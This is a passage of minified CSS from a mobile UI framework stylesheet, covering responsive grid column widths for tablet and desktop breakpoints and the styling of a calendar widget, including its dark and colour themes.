16px*9)/ 10)}.md .row.no-gap .tablet-auto:nth-last-child(10),.md .row.no-gap .tablet-auto:nth-last-child(10)~.tablet-auto{width:10%}.md .row .tablet-auto:nth-last-child(11),.md .row .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .tablet-auto:nth-last-child(11),.md .row.no-gap .tablet-auto:nth-last-child(11)~.tablet-auto{width:9.09090909%}.md .row .tablet-auto:nth-last-child(12),.md .row .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .tablet-auto:nth-last-child(12),.md .row.no-gap .tablet-auto:nth-last-child(12)~.tablet-auto{width:8.33333333%}.md .row .tablet-auto:nth-last-child(13),.md .row .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .tablet-auto:nth-last-child(13),.md .row.no-gap .tablet-auto:nth-last-child(13)~.tablet-auto{width:7.69230769%}.md .row .tablet-auto:nth-last-child(14),.md .row .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .tablet-auto:nth-last-child(14),.md .row.no-gap .tablet-auto:nth-last-child(14)~.tablet-auto{width:7.14285714%}.md .row .tablet-auto:nth-last-child(15),.md .row .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .tablet-auto:nth-last-child(15),.md .row.no-gap .tablet-auto:nth-last-child(15)~.tablet-auto{width:6.66666667%}.md .row .tablet-auto:nth-last-child(16),.md .row .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .tablet-auto:nth-last-child(16),.md .row.no-gap .tablet-auto:nth-last-child(16)~.tablet-auto{width:6.25%}.md .row .tablet-auto:nth-last-child(17),.md .row .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .tablet-auto:nth-last-child(17),.md .row.no-gap .tablet-auto:nth-last-child(17)~.tablet-auto{width:5.88235294%}.md .row .tablet-auto:nth-last-child(18),.md .row .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .tablet-auto:nth-last-child(18),.md .row.no-gap .tablet-auto:nth-last-child(18)~.tablet-auto{width:5.55555556%}.md .row .tablet-auto:nth-last-child(19),.md .row .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .tablet-auto:nth-last-child(19),.md .row.no-gap .tablet-auto:nth-last-child(19)~.tablet-auto{width:5.26315789%}.md .row .tablet-auto:nth-last-child(20),.md .row .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .tablet-auto:nth-last-child(20),.md .row.no-gap .tablet-auto:nth-last-child(20)~.tablet-auto{width:5%}.md .row .tablet-auto:nth-last-child(21),.md .row .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .tablet-auto:nth-last-child(21),.md .row.no-gap .tablet-auto:nth-last-child(21)~.tablet-auto{width:4.76190476%}}@media (min-width:1025px){.md .row .desktop-100{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-100{width:100%}.md .row .desktop-95{width:95%;width:calc((100% - 16px*.05263157894736836)/ 1.0526315789473684)}.md .row.no-gap .desktop-95{width:95%}.md .row .desktop-90{width:90%;width:calc((100% - 16px*.11111111111111116)/ 1.1111111111111112)}.md .row.no-gap .desktop-90{width:90%}.md .row .desktop-85{width:85%;width:calc((100% - 16px*.17647058823529416)/ 1.1764705882352942)}.md .row.no-gap .desktop-85{width:85%}.md .row .desktop-80{width:80%;width:calc((100% - 16px*.25)/ 1.25)}.md .row.no-gap .desktop-80{width:80%}.md .row .desktop-75{width:75%;width:calc((100% - 16px*.33333333333333326)/ 1.3333333333333333)}.md .row.no-gap .desktop-75{width:75%}.md .row .desktop-70{width:70%;width:calc((100% - 16px*.4285714285714286)/ 1.4285714285714286)}.md .row.no-gap .desktop-70{width:70%}.md .row .desktop-66{width:66.66666666666666%;width:calc((100% - 16px*.5000000000000002)/ 1.5000000000000002)}.md .row.no-gap .desktop-66{width:66.66666666666666%}.md .row .desktop-65{width:65%;width:calc((100% - 16px*.5384615384615385)/ 1.5384615384615385)}.md .row.no-gap .desktop-65{width:65%}.md .row .desktop-60{width:60%;width:calc((100% - 16px*.6666666666666667)/ 1.6666666666666667)}.md .row.no-gap .desktop-60{width:60%}.md .row .desktop-55{width:55%;width:calc((100% - 16px*.8181818181818181)/ 1.8181818181818181)}.md .row.no-gap .desktop-55{width:55%}.md .row .desktop-50{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-50{width:50%}.md .row .desktop-45{width:45%;width:calc((100% - 16px*1.2222222222222223)/ 2.2222222222222223)}.md .row.no-gap .desktop-45{width:45%}.md .row .desktop-40{width:40%;width:calc((100% - 16px*1.5)/ 2.5)}.md .row.no-gap .desktop-40{width:40%}.md .row .desktop-35{width:35%;width:calc((100% - 16px*1.8571428571428572)/ 2.857142857142857)}.md .row.no-gap .desktop-35{width:35%}.md .row .desktop-33{width:33.333333333333336%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-33{width:33.333333333333336%}.md .row .desktop-30{width:30%;width:calc((100% - 16px*2.3333333333333335)/ 3.3333333333333335)}.md .row.no-gap .desktop-30{width:30%}.md .row .desktop-25{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-25{width:25%}.md .row .desktop-20{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-20{width:20%}.md .row .desktop-15{width:15%;width:calc((100% - 16px*5.666666666666667)/ 6.666666666666667)}.md .row.no-gap .desktop-15{width:15%}.md .row .desktop-10{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-10{width:10%}.md .row .desktop-5{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-5{width:5%}.md .row .desktop-auto:nth-last-child(1),.md .row .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%;width:calc((100% - 16px*0)/ 1)}.md .row.no-gap .desktop-auto:nth-last-child(1),.md .row.no-gap .desktop-auto:nth-last-child(1)~.desktop-auto{width:100%}.md .row .desktop-auto:nth-last-child(2),.md .row .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%;width:calc((100% - 16px*1)/ 2)}.md .row.no-gap .desktop-auto:nth-last-child(2),.md .row.no-gap .desktop-auto:nth-last-child(2)~.desktop-auto{width:50%}.md .row .desktop-auto:nth-last-child(3),.md .row .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%;width:calc((100% - 16px*2)/ 3)}.md .row.no-gap .desktop-auto:nth-last-child(3),.md .row.no-gap .desktop-auto:nth-last-child(3)~.desktop-auto{width:33.33333333%}.md .row .desktop-auto:nth-last-child(4),.md .row .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%;width:calc((100% - 16px*3)/ 4)}.md .row.no-gap .desktop-auto:nth-last-child(4),.md .row.no-gap .desktop-auto:nth-last-child(4)~.desktop-auto{width:25%}.md .row .desktop-auto:nth-last-child(5),.md .row .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%;width:calc((100% - 16px*4)/ 5)}.md .row.no-gap .desktop-auto:nth-last-child(5),.md .row.no-gap .desktop-auto:nth-last-child(5)~.desktop-auto{width:20%}.md .row .desktop-auto:nth-last-child(6),.md .row .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%;width:calc((100% - 16px*5)/ 6)}.md .row.no-gap .desktop-auto:nth-last-child(6),.md .row.no-gap .desktop-auto:nth-last-child(6)~.desktop-auto{width:16.66666667%}.md .row .desktop-auto:nth-last-child(7),.md .row .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%;width:calc((100% - 16px*6)/ 7)}.md .row.no-gap .desktop-auto:nth-last-child(7),.md .row.no-gap .desktop-auto:nth-last-child(7)~.desktop-auto{width:14.28571429%}.md .row .desktop-auto:nth-last-child(8),.md .row .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%;width:calc((100% - 16px*7)/ 8)}.md .row.no-gap .desktop-auto:nth-last-child(8),.md .row.no-gap .desktop-auto:nth-last-child(8)~.desktop-auto{width:12.5%}.md .row .desktop-auto:nth-last-child(9),.md .row .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%;width:calc((100% - 16px*8)/ 9)}.md .row.no-gap .desktop-auto:nth-last-child(9),.md .row.no-gap .desktop-auto:nth-last-child(9)~.desktop-auto{width:11.11111111%}.md .row .desktop-auto:nth-last-child(10),.md .row .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%;width:calc((100% - 16px*9)/ 10)}.md .row.no-gap .desktop-auto:nth-last-child(10),.md .row.no-gap .desktop-auto:nth-last-child(10)~.desktop-auto{width:10%}.md .row .desktop-auto:nth-last-child(11),.md .row .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%;width:calc((100% - 16px*10)/ 11)}.md .row.no-gap .desktop-auto:nth-last-child(11),.md .row.no-gap .desktop-auto:nth-last-child(11)~.desktop-auto{width:9.09090909%}.md .row .desktop-auto:nth-last-child(12),.md .row .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%;width:calc((100% - 16px*11)/ 12)}.md .row.no-gap .desktop-auto:nth-last-child(12),.md .row.no-gap .desktop-auto:nth-last-child(12)~.desktop-auto{width:8.33333333%}.md .row .desktop-auto:nth-last-child(13),.md .row .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%;width:calc((100% - 16px*12)/ 13)}.md .row.no-gap .desktop-auto:nth-last-child(13),.md .row.no-gap .desktop-auto:nth-last-child(13)~.desktop-auto{width:7.69230769%}.md .row .desktop-auto:nth-last-child(14),.md .row .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%;width:calc((100% - 16px*13)/ 14)}.md .row.no-gap .desktop-auto:nth-last-child(14),.md .row.no-gap .desktop-auto:nth-last-child(14)~.desktop-auto{width:7.14285714%}.md .row .desktop-auto:nth-last-child(15),.md .row .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%;width:calc((100% - 16px*14)/ 15)}.md .row.no-gap .desktop-auto:nth-last-child(15),.md .row.no-gap .desktop-auto:nth-last-child(15)~.desktop-auto{width:6.66666667%}.md .row .desktop-auto:nth-last-child(16),.md .row .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%;width:calc((100% - 16px*15)/ 16)}.md .row.no-gap .desktop-auto:nth-last-child(16),.md .row.no-gap .desktop-auto:nth-last-child(16)~.desktop-auto{width:6.25%}.md .row .desktop-auto:nth-last-child(17),.md .row .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%;width:calc((100% - 16px*16)/ 17)}.md .row.no-gap .desktop-auto:nth-last-child(17),.md .row.no-gap .desktop-auto:nth-last-child(17)~.desktop-auto{width:5.88235294%}.md .row .desktop-auto:nth-last-child(18),.md .row .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%;width:calc((100% - 16px*17)/ 18)}.md .row.no-gap .desktop-auto:nth-last-child(18),.md .row.no-gap .desktop-auto:nth-last-child(18)~.desktop-auto{width:5.55555556%}.md .row .desktop-auto:nth-last-child(19),.md .row .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%;width:calc((100% - 16px*18)/ 19)}.md .row.no-gap .desktop-auto:nth-last-child(19),.md .row.no-gap .desktop-auto:nth-last-child(19)~.desktop-auto{width:5.26315789%}.md .row .desktop-auto:nth-last-child(20),.md .row .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%;width:calc((100% - 16px*19)/ 20)}.md .row.no-gap .desktop-auto:nth-last-child(20),.md .row.no-gap .desktop-auto:nth-last-child(20)~.desktop-auto{width:5%}.md .row .desktop-auto:nth-last-child(21),.md .row .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%;width:calc((100% - 16px*20)/ 21)}.md .row.no-gap .desktop-auto:nth-last-child(21),.md .row.no-gap .desktop-auto:nth-last-child(21)~.desktop-auto{width:4.76190476%}}.calendar{overflow:hidden;height:320px;width:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.calendar.modal-in{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}@media (orientation:landscape) and (max-height:415px){.calendar.calendar-sheet{height:220px}.calendar.calendar-modal{height:calc(100vh - 44px)}}.calendar.calendar-inline,.calendar.calendar-popover .calendar{position:relative}.calendar-modal{position:absolute;height:420px;overflow:hidden;top:50%;left:50%;min-width:300px;max-width:380px;-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0);-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:12000;background:#fff;width:90%;border-radius:4px;-webkit-box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22);box-shadow:0 19px 38px rgba(0,0,0,.3),0 15px 12px rgba(0,0,0,.22)}.calendar-modal.modal-in,.calendar-modal.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.calendar-modal.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.calendar-modal.modal-out{-webkit-transform:translate3d(-50%,100%,0);transform:translate3d(-50%,100%,0)}.calendar-popover{width:320px}.calendar-popover .calendar{height:320px}.calendar-week-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:11px}.calendar-week-header .calendar-week-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:14.28571429%;width:calc(100% / 7);text-align:center}.calendar-months{width:100%;height:100%;overflow:hidden;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-months-wrapper{position:relative;width:100%;height:100%;-webkit-transition:.3s;transition:.3s}.calendar-month{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;width:100%;height:100%;position:absolute;left:0;top:0}.calendar-row{height:16.66666667%;height:calc(100% / 6);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.calendar-day{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;width:14.28571429%;width:calc(100% / 7);text-align:center;cursor:pointer;z-index:20;color:#000;height:100%}.calendar-day.calendar-day-next,.calendar-day.calendar-day-prev{color:#b8b8b8}.calendar-day.calendar-day-disabled{color:#d4d4d4;cursor:auto}.calendar-day.calendar-day-selected span{color:#fff}.calendar-day.calendar-day-has-events span:after{content:'';width:4px;height:4px;border-radius:50%;position:absolute;margin-left:-2px;left:50%;bottom:1px}.calendar-day span{display:inline-block;border-radius:100%;position:relative}.calendar-range .calendar-day.calendar-day-selected{-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch}.calendar-range .calendar-day.calendar-day-selected span{width:100%;border-radius:0;height:auto;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.calendar-month-selector,.calendar-year-selector{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:50%;max-width:200px;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.calendar-month-selector span,.calendar-year-selector span{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;overflow:hidden;text-overflow:ellipsis}.md .calendar-header{height:56px;background:#2196f3;font-size:20px;line-height:56px;padding:0 24px;color:#fff;position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-box-sizing:border-box;box-sizing:border-box}.md .calendar-footer{position:relative;width:100%;height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .calendar .toolbar{background:0 0!important;color:#212121}.md .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .calendar .toolbar a.link .ripple-wave{background:rgba(0,0,0,.1)}.md .calendar .toolbar .icon-back,.md .calendar .toolbar .icon-forward,.md .calendar .toolbar .icon-next,.md .calendar .toolbar .icon-prev{opacity:.54}.md .calendar-week-header{color:rgba(0,0,0,.54);height:24px}.md .calendar-week-header .calendar-week-day{line-height:24px}.md .calendar-day.calendar-day-today span{color:#2196f3}.md .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.md .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .calendar-day span{width:36px;height:36px;line-height:36px}.md .calendar-range .calendar-day.calendar-day-selected span{color:#fff}.md .calendar-month-selector a.icon-only,.md .calendar-year-selector a.icon-only{min-width:36px}.md .calendar-sheet:before{content:'';position:absolute;background-color:#ccc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-left-edge.calendar .calendar-row,.md.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .panel-left.calendar .calendar-row,.md.device-iphone-x .panel-left.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-right-edge.calendar .calendar-row,.md.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .panel-right.calendar .calendar-row,.md.device-iphone-x .panel-right.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.md .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.md .theme-dark .calendar-week-header{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day{color:rgba(255,255,255,.87)}.md .theme-dark .calendar-day.calendar-day-disabled{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day.calendar-day-next,.md .theme-dark .calendar-day.calendar-day-prev{color:rgba(255,255,255,.35)}.calendar-modal.md .theme-dark,.md .theme-dark .calendar-modal{background:#202020}.calendar.md .theme-dark.calendar-sheet:before,.md .theme-dark .calendar.calendar-sheet:before{background-color:rgba(255,255,255,.2)}.calendar.md .theme-dark .toolbar,.md .theme-dark .calendar .toolbar{color:rgba(255,255,255,.54)}.calendar.md .theme-dark .toolbar a.link:before,.md .theme-dark .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.calendar.md .theme-dark .toolbar a.link.active-state:before,.md .theme-dark .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.calendar.md .theme-dark .toolbar a.link .ripple-wave,.md .theme-dark .calendar .toolbar a.link .ripple-wave{background-color:rgba(255,255,255,.3)}.md .color-red .calendar-header,.md .color-theme-red .calendar-header{background:#f44336}.md .color-red .calendar-day.calendar-day-today span,.md .color-theme-red .calendar-day.calendar-day-today span{color:#f44336}.md .color-red .calendar-day.calendar-day-has-events span:after,.md .color-theme-red .calendar-day.calendar-day-has-events span:after{background:#f44336}.md .color-red .calendar-day.calendar-day-selected span,.md .color-theme-red .calendar-day.calendar-day-selected span{background:#f44336;color:#fff}.md .color-red .calendar-day.calendar-day-selected span:after,.md .color-theme-red .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-green .calendar-header,.md .color-theme-green .calendar-header{background:#4caf50}.md .color-green .calendar-day.calendar-day-today span,.md .color-theme-green .calendar-day.calendar-day-today span{color:#4caf50}.md .color-green .calendar-day.calendar-day-has-events span:after,.md .color-theme-green .calendar-day.calendar-day-has-events span:after{background:#4caf50}.md .color-green .calendar-day.calendar-day-selected span,.md .color-theme-green .calendar-day.calendar-day-selected span{background:#4caf50;color:#fff}.md .color-green .calendar-day.calendar-day-selected span:after,.md .color-theme-green .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-blue .calendar-header,.md .color-theme-blue .calendar-header{background:#2196f3}.md .color-blue .calendar-day.calendar-day-today span,.md .color-theme-blue .calendar-day.calendar-day-today span{color:#2196f3}.md .color-blue .calendar-day.calendar-day-has-events span:after,.md .color-theme-blue .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .color-blue .calendar-day.calendar-day-selected span,.md .color-theme-blue .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .color-blue .calendar-day.calendar-day-selected span:after,.md .color-theme-blue .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-pink .calendar-header,.md .color-theme-pink .calendar-header{background:#e91e63}.md .color-pink .calendar-day.calendar-day-today span,.md .color-theme-pink .calendar-day.calendar-day-today span{color:#e91e63}.md .color-pink .calendar-day.calendar-day-has-events span:after,.md .color-theme-pink .calendar-day.calendar-day-has-events span:after{background:#e91e63}.md .color-pink .calendar-day.calendar-day-selected span,.md .color-theme-pink .calendar-day.calendar-day-selected span{background:#e91e63;color:#fff}.md .color-pink .calendar-day.calendar-day-selected span:after,.md .color-theme-pink .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-yellow .calendar-header,.md .color-yellow .calendar-header{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-today span,.md .color-yellow .calendar-day.calendar-day-today span{color:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after,.md .color-yellow .calendar-day.calendar-day-has-events span:after{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-selected span,.md .color-yellow .calendar-day.calendar-day-selected span{background:#ffeb3b;color:#fff}.md .color-theme-yellow .calendar-day.calendar-day-selected span:after,.md .color-yellow .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-orange .calendar-header,.md .color-theme-orange .calendar-header{background:#ff9800}.md .color-orange .calendar-day.calendar-day-today span,.md .color-theme-orange .calendar-day.calendar-day-today span{color:#ff9800}.md .color-orange .calendar-day.calendar-day-has-events span:after,.md .color-theme-orange .calendar-day.calendar-day-has-events span:after{background:#ff9800}.md .color-orange .calendar-day.calendar-day-selected span,.md .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9800;color:#fff}.md .color-orange .calendar-day.calendar-day-selected span:after,.md .color-theme-orange .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-gray .calendar-header,.md .color-theme-gray .calendar-header{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-today span,.md .color-theme-gray .calendar-day.calendar-day-today span{color:#9e9e9e}.md .color-gray .calendar-day.calendar-day-has-events span:after,.md .color-theme-gray .calendar-day.calendar-day-has-events span:after{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-selected span,.md .color-theme-gray .calendar-day.calendar-day-selected span{background:#9e9e9e;color:#fff}.md .color-gray .calendar-day.calendar-day-selected span:after,.md .color-theme-gray .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-white .calendar-header,.md .color-white .calendar-header{background:#fff}.md .color-theme-white .calendar-day.calendar-day-today span,.md .color-white .calendar-day.calendar-day-today span{color:#fff}.md .color-theme-white .calendar-day.calendar-day-has-events span:after,.md .color-white .calendar-day.calendar-day-has-events span:after{background:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span,.md .color-white .calendar-day.calendar-day-selected span{background:#fff;color:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span:after,.md .color-white .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-black .calendar-header,.md .color-theme-black .calendar-header{background:#000}.md .color-black .calendar-day.calendar-day-today span,.md .color-theme-black .calendar-day.calendar-day-today span{color:#000}.md .color-black .calendar-day.calendar-day-has-events span:after,.md .color-theme-black .calendar-day.calendar-day-has-events span:after{background:#000}.md .color-black .calendar-day.calendar-day-selected span,.md .color-theme-black .calendar-day.calendar-day-selected span{background:#000;color:#fff}.md .color-black .calendar-day.calendar-day-selected span:after,.md .color-theme-black .calendar-day.calendar-day-selected span:after{background-color:#fff}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and 